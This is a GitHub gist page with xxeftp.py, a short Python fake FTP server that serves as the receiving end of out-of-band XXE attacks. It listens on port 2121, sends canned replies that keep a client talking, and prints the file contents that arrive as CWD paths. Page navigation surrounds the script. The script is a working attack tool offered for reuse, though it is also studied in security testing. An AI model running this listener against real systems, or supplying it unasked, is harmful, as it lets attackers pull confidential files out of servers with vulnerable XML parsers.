Skip to content

Instantly share code, notes, and snippets.

@christofersimbar
Forked from staaldraad/xxeftp.py
Created September 16, 2018 06:00
Show Gist options
  • Save christofersimbar/6248bbf195174f7bd2a4aaa1391443b9 to your computer and use it in GitHub Desktop.
Save christofersimbar/6248bbf195174f7bd2a4aaa1391443b9 to your computer and use it in GitHub Desktop.

Revisions

  1. Etienne Stalmans created this gist Jul 2, 2015.
    27 changes: 27 additions & 0 deletions xxeftp.py
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,27 @@
    #!/usr/env/python
    from __future__ import print_function
    import socket

    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.bind(('0.0.0.0',2121))
    s.listen(1)
    print('XXE-FTP listening ')
    conn,addr = s.accept()
    print('Connected by %s',addr)
    conn.sendall('220 Staal XXE-FTP\r\n')
    stop = False
    while not stop:
    dp = str(conn.recv(1024))
    if dp.find("USER") > -1:
    conn.sendall("331 password please - version check\r\n")
    else:
    conn.sendall("230 more data please!\r\n")
    if dp.find("RETR")==0 or dp.find("QUIT")==0:
    stop = True
    if dp.find("CWD") > -1:
    print(dp.replace('CWD ','/',1).replace('\r\n',''),end='')
    else:
    print(dp)

    conn.close()
    s.close()